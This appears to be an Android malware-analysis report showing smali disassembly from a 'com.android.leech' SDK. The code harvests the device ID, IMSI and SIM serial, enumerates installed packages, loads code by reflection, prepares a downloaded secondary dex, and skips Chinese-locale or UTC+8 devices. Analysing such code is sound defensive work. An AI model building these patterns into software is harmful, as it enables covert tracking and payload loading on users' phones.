                                                                              16if-eqz v0, :cond_23
                                                                              18invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                                                              19move-result-object v0
                                                                              20if-eqz v0, :cond_23
                                                                              22invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnectedOrConnecting()Z
                                                                              23try_end_20: move-result v0
                                                                              24goto/16 :goto_4
                                                                              25catch_22: move-exception v0
                                                                              26cond_23: move v0, v1
                                                                              27goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getDeviceId
                                                                              • java.lang.String.toLowerCase
                                                                              Strings
                                                                              • null
                                                                              • phone
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              2invoke-static {}, Lcom/android/leech/base/bugly/util/DeviceUtil;->checkReadPhonePermission()Z
                                                                              3move-result v2
                                                                              4if-nez v2, :cond_9
                                                                              6const-string v0, "null"
                                                                              7goto_8: return-object v0
                                                                              8cond_9: const/4 v0, 0x0
                                                                              9try_start_a:
                                                                              10sget-object v2, Lcom/android/leech/base/bugly/globle/HGloble;->sContext:Landroid/content/Context;
                                                                              12const-string v3, "phone"
                                                                              14invoke-virtual {v2, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              15move-result-object v1
                                                                              16check-cast v1, Landroid/telephony/TelephonyManager;
                                                                              17if-eqz v1, :cond_8
                                                                              19invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                                                                              20move-result-object v0
                                                                              21if-eqz v0, :cond_8
                                                                              23invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                                                                              24try_end_1f: move-result-object v0
                                                                              25goto/16 :goto_8
                                                                              26catch_21: move-exception v2
                                                                              27goto/16 :goto_8
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getSubscriberId
                                                                              • java.lang.String.toLowerCase
                                                                              Strings
                                                                              • null
                                                                              • phone
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              2invoke-static {}, Lcom/android/leech/base/bugly/util/DeviceUtil;->checkReadPhonePermission()Z
                                                                              3move-result v2
                                                                              4if-nez v2, :cond_9
                                                                              6const-string v0, "null"
                                                                              7goto_8: return-object v0
                                                                              8cond_9: const/4 v0, 0x0
                                                                              9try_start_a:
                                                                              10sget-object v2, Lcom/android/leech/base/bugly/globle/HGloble;->sContext:Landroid/content/Context;
                                                                              12const-string v3, "phone"
                                                                              14invoke-virtual {v2, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              15move-result-object v1
                                                                              16check-cast v1, Landroid/telephony/TelephonyManager;
                                                                              17if-eqz v1, :cond_8
                                                                              19invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                                                                              20move-result-object v0
                                                                              21if-eqz v0, :cond_8
                                                                              23invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                                                                              24try_end_1f: move-result-object v0
                                                                              25goto/16 :goto_8
                                                                              26catch_21: move-exception v2
                                                                              27goto/16 :goto_8
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.umeng.analytics.vismode.event.VisualHelper
                                                                              • loadNativeData
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1const-string v0, "com.umeng.analytics.vismode.event.VisualHelper"
                                                                              3invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              4move-result-object v0
                                                                              6const-string v1, "loadNativeData"
                                                                              7const/4 v2, 0x1
                                                                              8new-array v2, v2, [Ljava/lang/Class;
                                                                              9const/4 v3, 0x0
                                                                              10const-class v4, Landroid/content/Context;
                                                                              11aput-object v4, v2, v3
                                                                              13invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              14move-result-object v0
                                                                              15const/4 v1, 0x0
                                                                              16const/4 v2, 0x1
                                                                              17new-array v2, v2, [Ljava/lang/Object;
                                                                              18const/4 v3, 0x0
                                                                              20sget-object v4, LuAgent/analytics/pro/i;->a:Landroid/content/Context;
                                                                              21aput-object v4, v2, v3
                                                                              23invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              24goto_20: return-void
                                                                              25catch_21: move-exception v0
                                                                              26goto/16 :goto_20
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getDeviceId
                                                                              • java.lang.String.toLowerCase
                                                                              Strings
                                                                              • null
                                                                              • phone
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "var0" # Landroid/content/Context;
                                                                              1.prologue
                                                                              3const-string v0, "null"
                                                                              4try_start_2:
                                                                              5const-string v2, "phone"
                                                                              7invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              8move-result-object v1
                                                                              9check-cast v1, Landroid/telephony/TelephonyManager;
                                                                              10if-eqz v1, :cond_16
                                                                              12invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                                                                              13move-result-object v0
                                                                              14if-eqz v0, :cond_17
                                                                              16invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                                                                              17move-result-object v0
                                                                              18cond_16: return-object v0
                                                                              19cond_17:
                                                                              20const-string v0, "null"
                                                                              21try_end_19: goto/16 :goto_16
                                                                              22catch_1a: move-exception v2
                                                                              23goto/16 :goto_16
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getSimSerialNumber
                                                                              Strings
                                                                              • fail
                                                                              • phone
                                                                              • null
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "var0" # Landroid/content/Context;
                                                                              1.prologue
                                                                              3const-string v0, "fail"
                                                                              4if-nez p0, :cond_6
                                                                              5move-object v1, v0
                                                                              6goto_5: return-object v1
                                                                              7try_start_6:
                                                                              8const-string v3, "phone"
                                                                              10invoke-virtual {p0, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              11move-result-object v2
                                                                              12check-cast v2, Landroid/telephony/TelephonyManager;
                                                                              13if-eqz v2, :cond_18
                                                                              15invoke-virtual {v2}, Landroid/telephony/TelephonyManager;->getSimSerialNumber()Ljava/lang/String;
                                                                              16move-result-object v0
                                                                              17if-nez v0, :cond_18
                                                                              19const-string v0, "null"
                                                                              20try_end_18: move-object v1, v0
                                                                              21goto/16 :goto_5
                                                                              22catch_1a: move-exception v3
                                                                              23goto/16 :goto_18
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.FileReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.String.trim
                                                                              Strings
                                                                              • /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq
                                                                              Position Instruction Meta Information
                                                                              0try_start_0: new-instance v0, Ljava/io/BufferedReader;
                                                                              1new-instance v1, Ljava/io/FileReader;
                                                                              3const-string v2, "/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq"
                                                                              5invoke-direct {v1, v2}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                                                                              7invoke-direct {v0, v1}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              9invoke-virtual {v0}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              10move-result-object v0
                                                                              12invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              13try_end_13: move-result-object v0
                                                                              14goto_14: return-object v0
                                                                              15catch_15: move-exception v0
                                                                              17const-string v0, ""
                                                                              18goto/16 :goto_14
                                                                              APIs
                                                                              • java.io.File.listFiles
                                                                              • java.util.Arrays.sort
                                                                              • java.io.File.delete
                                                                              • java.io.File.delete
                                                                              • java.io.File.delete
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x0
                                                                              2iget-object v1, p0, LuAgent/commonsdk/statistics/common/d$a;->b:Ljava/io/File;
                                                                              4iget-object v2, p0, LuAgent/commonsdk/statistics/common/d$a;->c:Ljava/io/FilenameFilter;
                                                                              6invoke-virtual {v1, v2}, Ljava/io/File;->listFiles(Ljava/io/FilenameFilter;)[Ljava/io/File;
                                                                              7move-result-object v2
                                                                              8if-eqz v2, :cond_21
                                                                              9array-length v1, v2
                                                                              10const/16 v3, 0xa
                                                                              11if-lt v1, v3, :cond_21
                                                                              13invoke-static {v2}, Ljava/util/Arrays;->sort([Ljava/lang/Object;)V
                                                                              14array-length v3, v2
                                                                              15move v1, v0
                                                                              16goto_15: add-int/lit8 v4, v3, -0xa
                                                                              17if-ge v1, v4, :cond_21
                                                                              18aget-object v4, v2, v1
                                                                              20invoke-virtual {v4}, Ljava/io/File;->delete()Z
                                                                              21add-int/lit8 v1, v1, 0x1
                                                                              22goto/16 :goto_15
                                                                              23cond_21: if-eqz v2, :cond_4c
                                                                              24array-length v1, v2
                                                                              25if-lez v1, :cond_4c
                                                                              27iget-object v1, p0, LuAgent/commonsdk/statistics/common/d$a;->b:Ljava/io/File;
                                                                              29invoke-interface {p1, v1}, LuAgent/commonsdk/statistics/common/d$b;->a(Ljava/io/File;)V
                                                                              30array-length v1, v2
                                                                              31goto_2c: if-ge v0, v1, :cond_47
                                                                              32try_start_2e: aget-object v3, v2, v0
                                                                              34invoke-interface {p1, v3}, LuAgent/commonsdk/statistics/common/d$b;->b(Ljava/io/File;)Z
                                                                              35try_end_33: move-result v3
                                                                              36if-eqz v3, :cond_3b
                                                                              37aget-object v3, v2, v0
                                                                              39invoke-virtual {v3}, Ljava/io/File;->delete()Z
                                                                              40goto_3b: add-int/lit8 v0, v0, 0x1
                                                                              41goto/16 :goto_2c
                                                                              42catch_3e: move-exception v3
                                                                              43aget-object v3, v2, v0
                                                                              45invoke-virtual {v3}, Ljava/io/File;->delete()Z
                                                                              46goto/16 :goto_3b
                                                                              47catchall_45: move-exception v0
                                                                              48throw v0
                                                                              49cond_47:
                                                                              50iget-object v0, p0, LuAgent/commonsdk/statistics/common/d$a;->b:Ljava/io/File;
                                                                              52invoke-interface {p1, v0}, LuAgent/commonsdk/statistics/common/d$b;->c(Ljava/io/File;)V
                                                                              53cond_4c: return-void
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "method_name" # Ljava/lang/String;
                                                                              2.param p2, "obj" # Ljava/lang/Object;
                                                                              3.param p3, "pareTyple" # [Ljava/lang/Class;
                                                                              4.param p4, "pareVaules" # [Ljava/lang/Object;
                                                                              5.prologue
                                                                              6try_start_0:
                                                                              7invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              8try_end_3: move-result-object v1
                                                                              9const/4 v0, 0x0
                                                                              10try_start_5:
                                                                              11invoke-virtual {v1, p1, p3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              12try_end_8: move-result-object v0
                                                                              13goto_9: if-nez v0, :cond_13
                                                                              14try_start_b:
                                                                              15invoke-virtual {v1, p1, p3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              16move-result-object v0
                                                                              17const/4 v2, 0x1
                                                                              19invoke-virtual {v0, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              20cond_13:
                                                                              21invoke-virtual {v0, p2, p4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              22try_end_16: move-result-object v2
                                                                              23goto_17: return-object v2
                                                                              24catch_18: move-exception v2
                                                                              25goto_19: const/4 v2, 0x0
                                                                              26goto/16 :goto_17
                                                                              27catch_1b: move-exception v2
                                                                              28goto/16 :goto_9
                                                                              29catch_1d: move-exception v2
                                                                              30goto/16 :goto_19
                                                                              31catch_1f: move-exception v2
                                                                              32goto/16 :goto_19
                                                                              33catch_21: move-exception v2
                                                                              34goto/16 :goto_19
                                                                              35catch_23: move-exception v2
                                                                              36goto/16 :goto_19
                                                                              37catch_25: move-exception v2
                                                                              38goto/16 :goto_19
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "method_name" # Ljava/lang/String;
                                                                              2.param p2, "obj" # Ljava/lang/Object;
                                                                              3.param p3, "pareTyple" # [Ljava/lang/Class;
                                                                              4.param p4, "pareVaules" # [Ljava/lang/Object;
                                                                              5.prologue
                                                                              6try_start_0:
                                                                              7invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              8try_end_3: move-result-object v1
                                                                              9const/4 v0, 0x0
                                                                              10try_start_5:
                                                                              11invoke-virtual {v1, p1, p3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              12try_end_8: move-result-object v0
                                                                              13goto_9: if-nez v0, :cond_13
                                                                              14try_start_b:
                                                                              15invoke-virtual {v1, p1, p3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              16move-result-object v0
                                                                              17const/4 v2, 0x1
                                                                              19invoke-virtual {v0, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              20cond_13:
                                                                              21invoke-virtual {v0, p2, p4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              22try_end_16: move-result-object v2
                                                                              23goto_17: return-object v2
                                                                              24catch_18: move-exception v2
                                                                              25goto_19: const/4 v2, 0x0
                                                                              26goto/16 :goto_17
                                                                              27catch_1b: move-exception v2
                                                                              28goto/16 :goto_9
                                                                              29catch_1d: move-exception v2
                                                                              30goto/16 :goto_19
                                                                              31catch_1f: move-exception v2
                                                                              32goto/16 :goto_19
                                                                              33catch_21: move-exception v2
                                                                              34goto/16 :goto_19
                                                                              35catch_23: move-exception v2
                                                                              36goto/16 :goto_19
                                                                              37catch_25: move-exception v2
                                                                              38goto/16 :goto_19
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "method_name" # Ljava/lang/String;
                                                                              2.param p2, "this_obj" # Ljava/lang/Object;
                                                                              3.param p3, "pareTyple" # [Ljava/lang/Class;
                                                                              4.param p4, "pareVaules" # [Ljava/lang/Object;
                                                                              5.prologue
                                                                              6try_start_0:
                                                                              7invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              8try_end_3: move-result-object v1
                                                                              9const/4 v0, 0x0
                                                                              10try_start_5:
                                                                              11invoke-virtual {v1, p1, p3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              12try_end_8: move-result-object v0
                                                                              13goto_9: if-nez v0, :cond_13
                                                                              14try_start_b:
                                                                              15invoke-virtual {v1, p1, p3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              16move-result-object v0
                                                                              17const/4 v2, 0x1
                                                                              19invoke-virtual {v0, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              20cond_13:
                                                                              21invoke-virtual {v0, p2, p4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              22try_end_16: move-result-object v2
                                                                              23goto_17: return-object v2
                                                                              24catch_18: move-exception v2
                                                                              25goto_19: const/4 v2, 0x0
                                                                              26goto/16 :goto_17
                                                                              27catch_1b: move-exception v2
                                                                              28goto/16 :goto_9
                                                                              29catch_1d: move-exception v2
                                                                              30goto/16 :goto_19
                                                                              31catch_1f: move-exception v2
                                                                              32goto/16 :goto_19
                                                                              33catch_21: move-exception v2
                                                                              34goto/16 :goto_19
                                                                              35catch_23: move-exception v2
                                                                              36goto/16 :goto_19
                                                                              37catch_25: move-exception v2
                                                                              38goto/16 :goto_19
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.pm.PackageManager.getInstalledPackages
                                                                              • java.util.List.size
                                                                              • java.util.List.get
                                                                              • android.content.pm.PackageInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                                                                              • java.lang.String.equals
                                                                              • android.content.pm.PackageInfo.versionName:Ljava/lang/String
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "mContext" # Landroid/content/Context;
                                                                              1.param p1, "pkg" # Ljava/lang/String;
                                                                              2.prologue
                                                                              4invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              5move-result-object v3
                                                                              6const/4 v4, 0x0
                                                                              8invoke-virtual {v3, v4}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
                                                                              9move-result-object v2
                                                                              10const/4 v0, 0x0
                                                                              11goto_a:
                                                                              12invoke-interface {v2}, Ljava/util/List;->size()I
                                                                              13move-result v3
                                                                              14if-ge v0, v3, :cond_26
                                                                              16invoke-interface {v2, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                                              17move-result-object v1
                                                                              18check-cast v1, Landroid/content/pm/PackageInfo;
                                                                              20iget-object v3, v1, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              22iget-object v3, v3, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                                                                              24invoke-virtual {v3, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              25move-result v3
                                                                              26if-eqz v3, :cond_23
                                                                              28iget-object v3, v1, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                                                                              29goto_22: return-object v3
                                                                              30cond_23: add-int/lit8 v0, v0, 0x1
                                                                              31goto/16 :goto_a
                                                                              32cond_26: const/4 v3, 0x0
                                                                              33goto/16 :goto_22
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.pm.PackageManager.getInstalledPackages
                                                                              • java.util.List.size
                                                                              • java.util.List.get
                                                                              • android.content.pm.PackageInfo.packageName:Ljava/lang/String
                                                                              • java.lang.String.equalsIgnoreCase
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "packageName" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3const/4 v4, 0x0
                                                                              4try_start_1:
                                                                              5invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              6move-result-object v1
                                                                              7const/4 v3, 0x0
                                                                              9invoke-virtual {v1, v3}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
                                                                              10move-result-object v2
                                                                              11const/4 v0, 0x0
                                                                              12goto_b:
                                                                              13invoke-interface {v2}, Ljava/util/List;->size()I
                                                                              14move-result v3
                                                                              15if-ge v0, v3, :cond_25
                                                                              17invoke-interface {v2, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                                              18move-result-object v3
                                                                              19check-cast v3, Landroid/content/pm/PackageInfo;
                                                                              21iget-object v3, v3, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
                                                                              23invoke-virtual {v3, p1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                                                              24try_end_1c: move-result v3
                                                                              25if-eqz v3, :cond_21
                                                                              26const/4 v3, 0x1
                                                                              27goto_20: return v3
                                                                              28cond_21: add-int/lit8 v0, v0, 0x1
                                                                              29goto/16 :goto_b
                                                                              30catch_24: move-exception v3
                                                                              31cond_25: move v3, v4
                                                                              32goto/16 :goto_20
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x0
                                                                              1try_start_1:
                                                                              2invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              3move-result-object p0
                                                                              4try_start_5:
                                                                              5invoke-virtual {p0, p1, p3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              6move-result-object v1
                                                                              7try_end_9: goto/16 :goto_b
                                                                              8catch_a: move-object v1, v0
                                                                              9goto_b: if-nez v1, :cond_15
                                                                              10try_start_d:
                                                                              11invoke-virtual {p0, p1, p3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              12move-result-object v1
                                                                              13const/4 p0, 0x1
                                                                              15invoke-virtual {v1, p0}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              16cond_15:
                                                                              17invoke-virtual {v1, p2, p4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              18move-result-object p0
                                                                              19try_end_19: return-object p0
                                                                              20catch_1a: return-object v0
                                                                              APIs
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONArray.getJSONObject
                                                                              Strings
                                                                              • reses
                                                                              • type
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "dataJson" # Lorg/json/JSONObject;
                                                                              1.annotation system Ldalvik/annotation/Throws;
                                                                              2value = {
                                                                              3Ljava/lang/Exception;
                                                                              4}
                                                                              5.end annotation
                                                                              6.prologue
                                                                              7new-instance v5, Lcom/android/leech/base/network/BaseRequest$Response;
                                                                              9invoke-direct {v5}, Lcom/android/leech/base/network/BaseRequest$Response;-><init>()V
                                                                              11const-string v7, "reses"
                                                                              13invoke-static {p1, v7}, Lcom/android/leech/base/util/JsonUtils;->getJsonArray(Lorg/json/JSONObject;Ljava/lang/String;)Lorg/json/JSONArray;
                                                                              14move-result-object v3
                                                                              15const/4 v1, 0x0
                                                                              17invoke-static {v3}, Lcom/android/leech/base/util/JsonUtils;->isEmpty(Lorg/json/JSONArray;)Z
                                                                              18move-result v7
                                                                              19if-nez v7, :cond_29
                                                                              20const/4 v2, 0x0
                                                                              21goto_13:
                                                                              22invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                                                                              23move-result v7
                                                                              24if-ge v2, v7, :cond_29
                                                                              26invoke-virtual {v3, v2}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                                                                              27move-result-object v4
                                                                              28if-eqz v4, :cond_3e
                                                                              30const-string v7, "type"
                                                                              32invoke-static {v4, v7}, Lcom/android/leech/base/util/JsonUtils;->getJsonInt(Lorg/json/JSONObject;Ljava/lang/String;)I
                                                                              33move-result v6
                                                                              34const/4 v7, 0x2
                                                                              35if-ne v7, v6, :cond_3e
                                                                              36move-object v1, v4
                                                                              37cond_29: if-eqz v1, :cond_3d
                                                                              38new-instance v0, Lcom/android/leech/base/bean/BuglyDownloadInfo;
                                                                              40invoke-direct {v0, v1}, Lcom/android/leech/base/bean/BuglyDownloadInfo;-><init>(Lorg/json/JSONObject;)V
                                                                              42invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              43move-result-object v7
                                                                              45invoke-static {v7}, Lcom/android/leech/base/util/MutilUtils;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
                                                                              46move-result-object v7
                                                                              48invoke-virtual {v0, v7}, Lcom/android/leech/base/bean/BuglyDownloadInfo;->setSavePath(Ljava/lang/String;)V
                                                                              49iput-object v0, v5, Lcom/android/leech/base/network/BaseRequest$Response;->response:Ljava/lang/Object;
                                                                              50cond_3d: return-object v5
                                                                              51cond_3e: add-int/lit8 v2, v2, 0x1
                                                                              52goto/16 :goto_13
                                                                              APIs
                                                                              • java.lang.Integer.TYPE:Ljava/lang/Class
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.Integer.valueOf
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • findByValue
                                                                              Position Instruction Meta Information
                                                                              0.annotation system Ldalvik/annotation/Signature;
                                                                              1value = {
                                                                              2"(",
                                                                              3"Ljava/lang/Class",
                                                                              4"<+",
                                                                              5"LuAgent/commonsdk/proguard/p;",
                                                                              6">;I)",
                                                                              7"LuAgent/commonsdk/proguard/p;"
                                                                              8}
                                                                              9.end annotation
                                                                              10const/4 v1, 0x0
                                                                              11try_start_1:
                                                                              12const-string v0, "findByValue"
                                                                              13const/4 v2, 0x1
                                                                              14new-array v2, v2, [Ljava/lang/Class;
                                                                              15const/4 v3, 0x0
                                                                              17sget-object v4, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                                              18aput-object v4, v2, v3
                                                                              20invoke-virtual {p0, v0, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              21move-result-object v0
                                                                              22const/4 v2, 0x0
                                                                              23const/4 v3, 0x1
                                                                              24new-array v3, v3, [Ljava/lang/Object;
                                                                              25const/4 v4, 0x0
                                                                              27invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              28move-result-object v5
                                                                              29aput-object v5, v3, v4
                                                                              31invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              32move-result-object v0
                                                                              33check-cast v0, LuAgent/commonsdk/proguard/p;
                                                                              34goto_20: return-object v0
                                                                              35catch_21: move-exception v0
                                                                              36move-object v0, v1
                                                                              37goto/16 :goto_20
                                                                              38catch_24: move-exception v0
                                                                              39move-object v0, v1
                                                                              40goto/16 :goto_20
                                                                              41catch_27: move-exception v0
                                                                              42move-object v0, v1
                                                                              43goto/16 :goto_20
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Build.CPU_ABI:Ljava/lang/String
                                                                              • java.lang.String.indexOf
                                                                              • java.lang.String.equals
                                                                              Strings
                                                                              • arm
                                                                              • zh_CN
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "mContext" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2const/4 v1, 0x0
                                                                              4const-string v0, "arm"
                                                                              5sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              6const/16 v4, 0x13
                                                                              7if-le v3, v4, :cond_2a
                                                                              8const/4 v2, 0x1
                                                                              9goto_a: if-eqz v2, :cond_29
                                                                              11sget-object v4, Landroid/os/Build;->CPU_ABI:Ljava/lang/String;
                                                                              13invoke-virtual {v4, v0}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                                              14move-result v4
                                                                              15if-ltz v4, :cond_29
                                                                              17const-string v4, "zh_CN"
                                                                              19invoke-static {p0}, Lcom/android/leech/base/util/Environment;->getCurrentLanguage(Landroid/content/Context;)Ljava/lang/String;
                                                                              20move-result-object v5
                                                                              22invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              23move-result v4
                                                                              24if-nez v4, :cond_29
                                                                              26invoke-static {}, Lcom/android/leech/base/util/Environment;->getTimeZone()I
                                                                              27move-result v4
                                                                              28const/16 v5, 0x8
                                                                              29if-eq v4, v5, :cond_29
                                                                              30const/4 v1, 0x1
                                                                              31cond_29: return v1
                                                                              32cond_2a: const/4 v2, 0x0
                                                                              33goto/16 :goto_a
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getAllNetworkInfo
                                                                              • android.net.NetworkInfo.getState
                                                                              • android.net.NetworkInfo$State.CONNECTED:Landroid/net/NetworkInfo$State
                                                                              Strings
                                                                              • connectivity
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2const/4 v3, 0x0
                                                                              3if-nez p0, :cond_4
                                                                              4cond_3: return v3
                                                                              5try_start_4:
                                                                              6const-string v4, "connectivity"
                                                                              8invoke-virtual {p0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              9move-result-object v0
                                                                              10check-cast v0, Landroid/net/ConnectivityManager;
                                                                              11if-eqz v0, :cond_3
